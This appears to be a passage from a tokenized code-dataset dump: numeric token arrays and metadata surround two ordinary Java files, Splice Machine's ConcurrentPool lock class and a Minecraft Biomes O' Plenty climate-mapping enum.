281,
24188,
575,
6694,
12015,
664,
477,
2951,
1648,
666,
545,
3845,
332,
5577,
3024,
39,
222,
338,
281,
12397,
1648,
332,
3371,
404,
1567,
39,
575,
6735,
27419,
5974,
9268,
347,
3641,
4492,
2895,
9591,
6658,
6504,
51,
222,
338,
281,
2643,
1364,
10034,
49,
7272,
1790,
518,
7272,
69,
3266,
404,
1567,
51,
2197,
222,
588,
222,
222,
1337,
4953,
51,
3266,
404,
1567,
51,
3227,
2260,
51,
13540,
64,
222,
222,
1350,
222,
338,
6956,
829,
329,
18690,
321,
563,
244,
54,
61,
52,
53,
62,
52,
54,
58,
51,
222,
588,
222,
942,
462,
23224,
2612,
60,
2743,
1934,
1024,
799,
2041,
7406,
2743,
1934,
1024,
799,
320,
465,
581,
23224,
2612,
60,
2743,
1934,
1024,
799,
365,
303,
320,
310,
2615,
459,
27223,
50,
60,
742,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 312
| true
| 72.938351
| true
| true
|
ConcurrentPool.java
|
/FileExtraction/Java_unseen/splicemachine_spliceengine/db-engine/src/main/java/com/splicemachine/db/impl/services/locks/ConcurrentPool.java
|
/*
* This file is part of Splice Machine.
* Splice Machine is free software: you can redistribute it and/or modify it under the terms of the
* GNU Affero General Public License as published by the Free Software Foundation, either
* version 3, or (at your option) any later version.
* Splice Machine is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public License along with Splice Machine.
* If not, see <http://www.gnu.org/licenses/>.
*
* Some parts of this source code are based on Apache Derby, and the following notices apply to
* Apache Derby:
*
* Apache Derby is a subproject of the Apache DB project, and is licensed under
* the Apache License, Version 2.0 (the "License"); you may not use these files
* except in compliance with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed
* under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* Splice Machine, Inc. has modified the Apache Derby code in this file.
*
* All such Splice Machine modifications are Copyright 2012 - 2020 Splice Machine, Inc.,
* and are licensed to you under the GNU Affero General Public License.
*/
package com.splicemachine.db.impl.services.locks;
/**
* A <code>LockFactory</code> which allows multiple threads to enter without
* blocking each other out.
*/
public final class ConcurrentPool extends AbstractPool {
/**
* Create the <code>ConcurrentLockSet</code> object that keeps the locks.
*
* @return a <code>ConcurrentLockSet</code>
*/
protected LockTable createLockTable() {
return new ConcurrentLockSet(this);
}
}
| 2,130
|
Java
|
.java
|
splicemachine/spliceengine
| 168
| 70
| 43
|
2013-03-05T15:07:56Z
|
2023-06-15T16:22:32Z
|
5ebd349f0e5756c2c9c1a9c6ac81f50567120ae2b075506cb43e694136a125ad
|
[
1127,
222,
338,
1369,
822,
458,
1760,
451,
5034,
3444,
13713,
51,
222,
338,
5034,
3444,
13713,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
1549,
341,
5974,
451,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
222,
338,
1522,
244,
56,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
5034,
3444,
13713,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
2979,
9345,
64,
222,
338,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
222,
338,
2819,
341,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
7979,
642,
5034,
3444,
13713,
51,
222,
338,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
338,
222,
338,
4202,
8740,
451,
477,
1932,
1361,
904,
4148,
563,
3954,
15933,
1186,
49,
480,
341,
2434,
47149,
4894,
391,
222,
338,
3954,
15933,
1186,
63,
222,
338,
222,
338,
3954,
15933,
1186,
458,
331,
1381,
2268,
451,
341,
3954,
4594,
2091,
49,
480,
458,
14391,
1549,
222,
338,
341,
3954,
1196,
49,
3050,
244,
55,
51,
53,
327,
1402,
332,
3801,
742,
863,
1648,
666,
813,
3301,
2293,
222,
338,
2959,
347,
4960,
642,
341,
1196,
51,
2469,
1648,
4245,
331,
1948,
451,
341,
1196,
840,
63,
222,
338,
222,
338,
1930,
574,
1516,
51,
2121,
51,
1107,
52,
4205,
52,
4106,
50,
55,
51,
53,
222,
338,
222,
338,
5416,
2147,
829,
4568,
4940,
575,
5129,
391,
347,
4144,
49,
2951,
2744,
222,
338,
1549,
341,
1196,
458,
2744,
563,
619,
332,
1117,
2771,
39,
5128,
49,
4213,
3912,
1895,
222,
338,
5186,
2258,
2979,
4489,
49,
3173,
3927,
575,
4506,
51,
2819,
341,
1196,
456,
341,
222,
338,
2835,
2940,
5139,
4243,
480,
5191,
1549,
341,
1196,
51,
222,
338,
222,
338,
5034,
3444,
13713,
49,
6367,
51,
1421,
8851,
341,
3954,
15933,
1186,
1361,
347,
477,
822,
51,
222,
338,
222,
338,
3381,
3774,
5034,
3444,
13713,
23125,
904,
2657,
244,
55,
53,
54,
55,
449,
244,
55,
53,
55,
53,
5034,
3444,
13713,
49,
6367,
4345,
222,
338,
480,
904,
14391,
391,
863,
1549,
341,
6994,
30994,
6153,
5062,
1196,
51,
222,
588,
222,
222,
1337,
785,
51,
438,
425,
423,
3213,
51,
1219,
51,
3126,
51,
4270,
51,
26424,
64,
222,
222,
1350,
222,
338,
418,
350,
707,
67,
4645,
2232,
396,
707,
67,
1532,
6990,
4632,
11157,
391,
6621,
2895,
222,
338,
21147,
2531,
1623,
986,
51,
222,
588,
222,
942,
1175,
462,
22219,
4227,
2041,
7406,
4227,
320,
303,
1041,
294,
338,
2673,
341,
350,
707,
67,
18705,
4645,
903,
396,
707,
67,
1319,
708,
24268,
341,
32417,
51,
294,
338,
294,
338,
496,
620,
331,
350,
707,
67,
18705,
4645,
903,
396,
707,
67,
294,
588,
303,
2532,
15094,
1617,
1506,
4645,
1617,
365,
320,
310,
461,
556,
22219,
4645,
903,
45,
597,
312,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 516
| true
| 73.70892
| true
| true
|
BOPClimates.java
|
/FileExtraction/Java_unseen/Team-RTG_Appalachia/src/api/java/biomesoplenty/api/enums/BOPClimates.java
|
package biomesoplenty.api.enums;
import java.util.ArrayList;
import java.util.Iterator;
import biomesoplenty.api.generation.BOPGenLayer;
import net.minecraft.init.Biomes;
import net.minecraft.world.biome.Biome;
import net.minecraftforge.common.BiomeManager.BiomeType;
public enum BOPClimates {
ICE_CAP (BiomeType.ICY),
TUNDRA (BiomeType.ICY),
BOREAL (BiomeType.COOL),
COLD_SWAMP (BiomeType.COOL),
WET_TEMPERATE (BiomeType.WARM),
DRY_TEMPERATE (BiomeType.WARM),
COOL_TEMPERATE (BiomeType.COOL),
WARM_TEMPERATE (BiomeType.WARM),
HOT_SWAMP (BiomeType.WARM),
TROPICAL (BiomeType.DESERT),
MEDITERANEAN (BiomeType.WARM),
SAVANNA (BiomeType.DESERT),
HOT_DESERT (BiomeType.DESERT),
WASTELAND (BiomeType.DESERT);
public final BiomeType biomeType;
private int totalLandBiomesWeight;
private ArrayList<WeightedBiomeEntry> landBiomes = new ArrayList<WeightedBiomeEntry>();
private BOPClimates(BiomeType biomeType)
{
this.biomeType = biomeType;
}
public BOPClimates addLandBiome(int weight, Biome biome)
{
return this.addLandBiome(new WeightedBiomeEntry(weight, biome));
}
public BOPClimates addLandBiome(WeightedBiomeEntry biomeEntry)
{
this.totalLandBiomesWeight += biomeEntry.weight;
this.landBiomes.add(biomeEntry);
return this;
}
public Biome getRandomLandBiome(BOPGenLayer layer)
{
int weight = layer.nextInt(this.totalLandBiomesWeight);
Iterator<WeightedBiomeEntry> iterator = this.landBiomes.iterator();
WeightedBiomeEntry item;
do
{
item = iterator.next();
weight -= item.weight;
}
while (weight >= 0);
return item.biome;
}
public Biome getRandomOceanBiome(BOPGenLayer layer, boolean deep)
{
switch (this)
{
case ICE_CAP:
return (layer.nextInt(2)==0) ? this.getRandomLandBiome(layer) : Biomes.FROZEN_OCEAN;
case TUNDRA: case BOREAL:
return (layer.nextInt(3)!=0) ? (deep ? Biomes.DEEP_OCEAN : Biomes.OCEAN) : Biomes.FROZEN_OCEAN;
default:
return (deep ? Biomes.DEEP_OCEAN : Biomes.OCEAN);
}
}
static
{
// set up vanilla biomes
BOPClimates.ICE_CAP.addLandBiome(10,Biomes.ICE_PLAINS);
BOPClimates.TUNDRA.addLandBiome(10, Biomes.COLD_TAIGA).addLandBiome(10, Biomes.EXTREME_HILLS);
BOPClimates.BOREAL.addLandBiome(5, Biomes.REDWOOD_TAIGA).addLandBiome(5, Biomes.EXTREME_HILLS).addLandBiome(20, Biomes.TAIGA);
BOPClimates.COLD_SWAMP.addLandBiome(5, Biomes.SWAMPLAND);
BOPClimates.WET_TEMPERATE.addLandBiome(20, Biomes.ROOFED_FOREST).addLandBiome(5, Biomes.FOREST);
BOPClimates.DRY_TEMPERATE.addLandBiome(5, Biomes.PLAINS);
BOPClimates.COOL_TEMPERATE.addLandBiome(15, Biomes.FOREST).addLandBiome(10, Biomes.BIRCH_FOREST);
BOPClimates.WARM_TEMPERATE.addLandBiome(20, Biomes.PLAINS).addLandBiome(5, Biomes.BIRCH_FOREST);
BOPClimates.HOT_SWAMP.addLandBiome(5, Biomes.SWAMPLAND);
BOPClimates.TROPICAL.addLandBiome(15, Biomes.JUNGLE);
BOPClimates.MEDITERANEAN.addLandBiome(5, Biomes.PLAINS);
BOPClimates.SAVANNA.addLandBiome(20, Biomes.SAVANNA);
BOPClimates.HOT_DESERT.addLandBiome(30, Biomes.DESERT).addLandBiome(10, Biomes.MESA_CLEAR_ROCK);
BOPClimates.WASTELAND.addLandBiome(1, Biomes.DESERT);
}
private static BOPClimates[] values = BOPClimates.values();
public static BOPClimates lookup(int i) {return values[i];}
// map temperature and rainfall to climates
// temperature values from 0 (cold) to 8 (hot) and rainfall values from 0 (wet) to 11 (dry), index is (temperatureValue * 12) + rainfallValue
// we will contrive to make any combination equally likely, so the overall rarity of each climate is in proportion to the number of times it appears in the array
private static final BOPClimates[] climateMapping = new BOPClimates[] {
// 0 1 2 3 4 5 6 7 8 9 10 11
TUNDRA, TUNDRA, TUNDRA, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, ICE_CAP, // 0
BOREAL, BOREAL, BOREAL, TUNDRA, TUNDRA, TUNDRA, TUNDRA, TUNDRA, TUNDRA, TUNDRA, TUNDRA, TUNDRA, // 1
COLD_SWAMP, COLD_SWAMP, COLD_SWAMP, BOREAL, BOREAL, BOREAL, BOREAL, BOREAL, BOREAL, BOREAL, BOREAL, BOREAL, // 2
COLD_SWAMP, COLD_SWAMP, COLD_SWAMP, WET_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, DRY_TEMPERATE, DRY_TEMPERATE, DRY_TEMPERATE, // 3
COLD_SWAMP, WET_TEMPERATE, WET_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, COOL_TEMPERATE, DRY_TEMPERATE, DRY_TEMPERATE, DRY_TEMPERATE, DRY_TEMPERATE, // 4
WET_TEMPERATE, WET_TEMPERATE, WET_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, DRY_TEMPERATE, SAVANNA, SAVANNA, // 5
HOT_SWAMP, HOT_SWAMP, HOT_SWAMP, WET_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, WARM_TEMPERATE, MEDITERANEAN, MEDITERANEAN, SAVANNA, HOT_DESERT, HOT_DESERT, // 6
TROPICAL, TROPICAL, HOT_SWAMP, HOT_SWAMP, WET_TEMPERATE, WARM_TEMPERATE, MEDITERANEAN, MEDITERANEAN, SAVANNA, HOT_DESERT, HOT_DESERT, WASTELAND, // 7
TROPICAL, TROPICAL, TROPICAL, HOT_SWAMP, HOT_SWAMP, MEDITERANEAN, MEDITERANEAN, SAVANNA, HOT_DESERT, HOT_DESERT, WASTELAND, WASTELAND // 8
};
public static int[] getClimateMappingInts()
{
// 9 temperature values, 12 rainfall values, 12 * 9 = 108
int[] out = new int[108];
for (int i = 0; i < 108; i++)
{
out[i] = climateMapping[i].ordinal();
}
return out;
}
public static class WeightedBiomeEntry
{
public final int weight;
public final Biome biome;
public WeightedBiomeEntry(int weight, Biome biome)
{
this.weight = weight;
this.biome = biome;
}
}
// for debugging purposes
public static void printWeights()
{
for (BOPClimates climate : BOPClimates.values())
{
for (WeightedBiomeEntry entry : climate.landBiomes)
{
System.out.println(climate.name()+" "+entry.biome.getBiomeName()+" "+entry.weight);
}
}
}
}
| 6,799
|
Java
|
.java
|
Team-RTG/Appalachia
| 9
| 7
| 10
|
2016-08-23T21:26:15Z
|
2017-07-22T20:52:05Z
|
902ea057c0d582827c042373a2cefd61dff603aff510e4e2f21802453c30840c
|
[
1337,
16360,
8037,
539,
113,
25578,
51,
1256,
51,
20767,
64,
222,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
5740,
64,
222,
222,
485,
16360,
8037,
539,
113,
25578,
51,
1256,
51,
19401,
51,
71,
1970,
5154,
4789,
64,
222,
485,
3723,
51,
8654,
51,
1683,
51,
19615,
8037,
64,
222,
485,
3723,
51,
8654,
51,
5879,
51,
12787,
308,
51,
19615,
308,
64,
222,
485,
3723,
51,
31599,
51,
2297,
51,
19615,
308,
1590,
51,
19615,
308,
638,
64,
222,
222,
942,
3858,
570,
49053,
6846,
1218,
320,
465,
457,
1973,
100,
11894,
327,
19615,
308,
638,
51,
24307,
490,
303,
413,
1430,
3577,
70,
327,
19615,
308,
638,
51,
24307,
490,
303,
570,
9081,
744,
327,
19615,
308,
638,
51,
1213,
1767,
490,
303,
4969,
73,
100,
5696,
7116,
327,
19615,
308,
638,
51,
1213,
1767,
490,
303,
643,
1235,
100,
10118,
546,
1775,
327,
19615,
308,
638,
51,
6110,
82,
490,
303,
493,
21174,
100,
10118,
546,
1775,
327,
19615,
308,
638,
51,
6110,
82,
490,
303,
3380,
1767,
100,
10118,
546,
1775,
327,
19615,
308,
638,
51,
1213,
1767,
490,
303,
3040,
82,
100,
10118,
546,
1775,
327,
19615,
308,
638,
51,
6110,
82,
490,
303,
696,
1212,
100,
5696,
7116,
327,
19615,
308,
638,
51,
6110,
82,
490,
303,
413,
9896,
12634,
327,
19615,
308,
638,
51,
869,
1958,
490,
303,
27488,
10810,
21497,
946,
327,
19615,
308,
638,
51,
6110,
82,
490,
303,
377,
4583,
946,
1841,
327,
19615,
308,
638,
51,
869,
1958,
490,
303,
696,
1212,
100,
869,
1958,
327,
19615,
308,
638,
51,
869,
1958,
490,
303,
643,
4392,
2165,
3362,
327,
19615,
308,
638,
51,
869,
1958,
312,
2205,
581,
1175,
18638,
308,
638,
16360,
308,
638,
64,
303,
964,
648,
3410,
16605,
19615,
8037,
7602,
64,
303,
964,
5068,
65,
38755,
19615,
308,
2717,
67,
13296,
19615,
8037,
299,
556,
5068,
65,
38755,
19615,
308,
2717,
2938,
2205,
964,
570,
49053,
6846,
1218,
45,
19615,
308,
638,
16360,
308,
638,
46,
303,
320,
310,
477,
51,
12787,
308,
638,
299,
16360,
308,
638,
64,
303,
339,
2205,
581,
570,
49053,
6846,
1218,
1035,
16605,
19615,
308,
45,
429,
7576,
49,
18638,
308,
16360,
308,
46,
303,
320,
310,
461,
477,
51,
688,
16605,
19615,
308,
45,
909,
20819,
337,
19615,
308,
2717,
45,
3327,
49,
16360,
308,
894,
303,
339,
2205,
581,
570,
49053,
6846,
1218,
1035,
16605,
19615,
308,
45,
38755,
19615,
308,
2717,
16360,
308,
2717,
46,
303,
320,
310,
477,
51,
3025,
16605,
19615,
8037,
7602,
1475,
16360,
308,
2717,
51,
3327,
64,
310,
477,
51,
6836,
19615,
8037,
51,
688,
45,
12787,
308,
2717,
312,
310,
461,
477,
64,
303,
339,
2205,
581,
18638,
308,
36847,
16605,
19615,
308,
45,
71,
1970,
5154,
4789,
5458,
46,
303,
320,
310,
648,
7576,
299,
5458,
51,
20827,
45,
597,
51,
3025,
16605,
19615,
8037,
7602,
312,
310,
14730,
65,
38755,
19615,
308,
2717,
67,
10033,
299,
477,
51,
6836,
19615,
8037,
51,
5174,
492,
310,
20819,
337,
19615,
308,
2717,
1641,
64,
310,
764,
310,
320,
343,
1641,
299,
10033,
51,
1995,
492,
343,
7576,
5928,
1641,
51,
3327,
64,
310,
339,
310,
2236,
327,
3327,
2394,
244,
53,
312,
310,
461,
1641,
51,
12787,
308,
64,
303,
339,
2205,
581,
18638,
308,
36847,
84,
18860,
19615,
308,
45,
71,
1970,
5154,
4789,
5458,
49,
1922,
11196,
46,
303,
320,
310,
3593,
327,
597,
46,
310,
320,
343,
1152,
457,
1973,
100,
11894,
63,
419,
461,
327,
1842,
51,
20827,
45,
55,
19203,
53,
46,
1037,
477,
51,
44218,
16605,
19615,
308,
45,
1842,
46,
518,
18638,
8037,
51,
75,
1030,
95,
737,
100,
84,
1973,
946,
64,
343,
1152,
413,
1430,
3577,
70,
63,
1152,
570,
9081,
744,
63,
419,
461,
327,
1842,
51,
20827,
45,
56,
38341,
53,
46,
1037,
327,
8355,
1037,
18638,
8037,
51,
869,
7426,
100,
84,
1973,
946,
518,
18638,
8037,
51,
84,
1973,
946,
46,
518,
18638,
8037,
51,
75,
1030,
95,
737,
100,
84,
1973,
946,
64,
343,
1263,
63,
419,
461,
327,
8355,
1037,
18638,
8037,
51,
869,
7426,
100,
84,
1973,
946,
518,
18638,
8037,
51,
84,
1973,
946,
312,
310,
339,
303,
339,
2205,
924,
303,
320,
310,
453,
758,
992,
44621,
16360,
8037,
2776,
570,
49053,
6846,
1218,
51,
4563,
100,
11894,
51,
688,
16605,
19615,
308,
45,
54,
53,
49,
19615,
8037,
51,
4563,
100,
33722,
88,
312,
310,
570,
49053,
6846,
1218,
51,
89,
1430,
3577,
70,
51,
688,
16605,
19615,
308,
45,
54,
53,
49,
18638,
8037,
51,
4067,
73,
100,
5805,
1453,
70,
566,
688,
16605,
19615,
308,
45,
54,
53,
49,
18638,
8037,
51,
2411,
632,
1043,
100,
77,
1484,
4912,
312,
310,
570,
49053,
6846,
1218,
51,
3199,
18672,
51,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
7106,
18624,
5422,
100,
5805,
1453,
70,
566,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
2411,
632,
1043,
100,
77,
1484,
4912,
566,
688,
16605,
19615,
308,
45,
55,
53,
49,
18638,
8037,
51,
5805,
1453,
70,
312,
310,
570,
49053,
6846,
1218,
51,
4067,
73,
100,
5696,
7116,
51,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
5696,
7116,
32156,
312,
310,
570,
49053,
6846,
1218,
51,
92,
1235,
100,
10118,
546,
1775,
51,
688,
16605,
19615,
308,
45,
55,
53,
49,
18638,
8037,
51,
1030,
2124,
1363,
100,
1380,
13402,
566,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
1380,
13402,
312,
310,
570,
49053,
6846,
1218,
51,
3577,
94,
100,
10118,
546,
1775,
51,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
33722,
88,
312,
310,
570,
49053,
6846,
1218,
51,
1213,
1767,
100,
10118,
546,
1775,
51,
688,
16605,
19615,
308,
45,
54,
58,
49,
18638,
8037,
51,
1380,
13402,
566,
688,
16605,
19615,
308,
45,
54,
53,
49,
18638,
8037,
51,
71,
3914,
1424,
100,
1380,
13402,
312,
310,
570,
49053,
6846,
1218,
51,
6110,
82,
100,
10118,
546,
1775,
51,
688,
16605,
19615,
308,
45,
55,
53,
49,
18638,
8037,
51,
33722,
88,
566,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
71,
3914,
1424,
100,
1380,
13402,
312,
310,
570,
49053,
6846,
1218,
51,
47028,
100,
5696,
7116,
51,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
5696,
7116,
32156,
312,
310,
570,
49053,
6846,
1218,
51,
89,
9896,
12634,
51,
688,
16605,
19615,
308,
45,
54,
58,
49,
18638,
8037,
51,
79,
1430,
16823,
312,
310,
570,
49053,
6846,
1218,
51,
14264,
10810,
21497,
946,
51,
688,
16605,
19615,
308,
45,
58,
49,
18638,
8037,
51,
33722,
88,
312,
310,
570,
49053,
6846,
1218,
51,
3569,
91,
946,
1841,
51,
688,
16605,
19615,
308,
45,
55,
53,
49,
18638,
8037,
51,
3569,
91,
946,
1841,
312,
310,
570,
49053,
6846,
1218,
51,
47028,
100,
869,
1958,
51,
688,
16605,
19615,
308,
45,
56,
53,
49,
18638,
8037,
51,
869,
1958,
566,
688,
16605,
19615,
308,
45,
54,
53,
49,
18638,
8037,
51,
6976,
70,
100,
23866,
100,
1030,
2196,
312,
310,
570,
49053,
6846,
1218,
51,
92,
4392,
2165,
3362,
51,
688,
16605,
19615,
308,
45,
54,
49,
18638,
8037,
51,
869,
1958,
312,
303,
339,
15252,
15252,
2205,
964,
924,
570,
49053,
6846,
1218,
1197,
2102,
299,
570,
49053,
6846,
1218,
51,
2857,
492,
2205,
581,
924,
570,
49053,
6846,
1218,
11478,
45,
429,
613,
46,
320,
620,
2102,
96,
110,
988,
130,
2205,
453,
2010,
13740,
480,
37192,
18980,
391,
300,
6846,
1218,
303,
453,
13740,
2102,
664,
244,
53,
327,
46785,
46,
391,
244,
61,
327,
8156,
46,
480,
37192,
18980,
2102,
664,
244,
53,
327,
42249,
46,
391,
244,
54,
54,
327,
24222,
490,
1671,
458,
327,
17569,
899,
338,
244,
54,
55,
46,
494,
37192,
18980,
899,
303,
453,
1019,
1118,
729,
5931,
391,
1949,
1364,
16619,
15688,
1266,
11386,
49,
1278,
341,
18937,
559,
13381,
451,
2531,
300,
33610,
458,
347,
43876,
391,
341,
1470,
451,
6524,
580,
12946,
347,
341,
1437,
303,
964,
924,
1175,
570,
49053,
6846,
1218,
1197,
300,
33610,
4815,
299,
556,
570,
49053,
6846,
1218,
1197,
320,
303,
453,
280,
53,
2087,
54,
2087,
55,
2087,
56,
2087,
57,
2087,
58,
2087,
59,
2087,
60,
2087,
61,
2087,
62,
2087,
54,
53,
3403,
54,
54,
310,
413,
1430,
3577,
70,
49,
282,
221,
89,
1430,
3577,
70,
49,
282,
221,
89,
1430,
3577,
70,
49,
282,
221,
4563,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
370,
457,
1973,
100,
11894,
49,
36109,
221,
4563,
100,
11894,
49,
36109,
221,
325,
244,
53,
310,
570,
9081,
744,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
89,
1430,
3577,
70,
49,
313,
221,
325,
244,
54,
310,
4969,
73,
100,
5696,
7116,
49,
221,
221,
4067,
73,
100,
5696,
7116,
49,
221,
221,
4067,
73,
100,
5696,
7116,
49,
221,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
3199,
18672,
49,
313,
221,
325,
244,
55,
310,
4969,
73,
100,
5696,
7116,
49,
221,
221,
4067,
73,
100,
5696,
7116,
49,
221,
221,
4067,
73,
100,
5696,
7116,
49,
221,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
